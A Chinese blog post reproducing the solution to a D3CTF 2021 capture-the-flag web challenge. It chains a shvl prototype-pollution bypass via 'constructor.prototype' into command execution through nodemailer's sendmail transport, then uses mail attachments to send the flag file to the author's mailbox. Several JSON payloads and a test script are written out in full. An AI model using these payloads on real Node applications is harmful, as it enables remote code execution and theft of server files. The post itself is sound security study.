发布于 

AntCTF 8-bit pub复现

环境搭建

题目环境:https://github.com/crumbledwall/CTFChallenges/tree/main/D3CTF2021/8-bit_pub
需要更改下邮件配置
1
接着docker启动即可
2

题目复现

访问题目,注册登陆后发现存在着admin的功能并且访问不了,目的很明确,这里我们需要以admin的身份登陆,官方wp中给了很好的解释
3
以admin身份登陆后,会解锁一个发送邮件的功能,查看admin部分的功能代码
4
该处引入了最新版本的shvl库,在上一个版本中可以看到存在原型链污染漏洞
5
查看一下修复的代码
6
__proto__进行了过滤操作,在这里依然可以使用constructor.prototype来污染Object,测试如下
7
回到题目,adminController.js中的如下代码正好符合条件

1
2
3
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});

接着需要寻找潜在的RCE功能点,尝试全局搜索child_process,发现node_modules/nodemailer/lib/sendmail-transport/index.js中存在着符合条件的代码
8
9
接着来看一下this.pathargs是怎么来的
10
跟进一下发送邮件的代码
11
12
想要到达命令执行的点我们需要控制options.sendmail为1,同时控制options.pathoptions.args的值,尝试用如下代码调试一下

1
2
3
4
5
6
7
8
9
const send = require("./utils/mail");

let contents = {};
let payload = {"constructor.prototype.sendmail":"1", "constructor.prototype.path":"bash", "constructor.prototype.args":["-c","/readflag>/tmp/test.txt"]};
Object.keys(payload).forEach((key) => {
shvl.set(contents, key, payload[key]);
});
let test = {}
send('test_send')

13
是可以成功执行的,不过到靶机上似乎没有bash,使用sh进行执行
首先污染原型,将flag写入tmp下

1
{"to":"xxx@qq.com","subject":"hello","text":"world","constructor.prototype.sendmail":"1", "constructor.prototype.path":"sh", "constructor.prototype.args":["-c","/readflag>/tmp/test.txt"]}

14
接着查看nodemailer的文档发现使用attachments 可以进行任意文件读取
https://nodemailer.com/message/attachments/
15
构造如下payload将flag发送到自己邮箱中

1
{"to":"xxx@qq.com","subject":"hello","text":"world","attachments":{"filename":"text3.txt","path":"/tmp/test.txt"}}

image
成功获取flag
image


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @yemoli 创建,使用 Stellar 作为主题。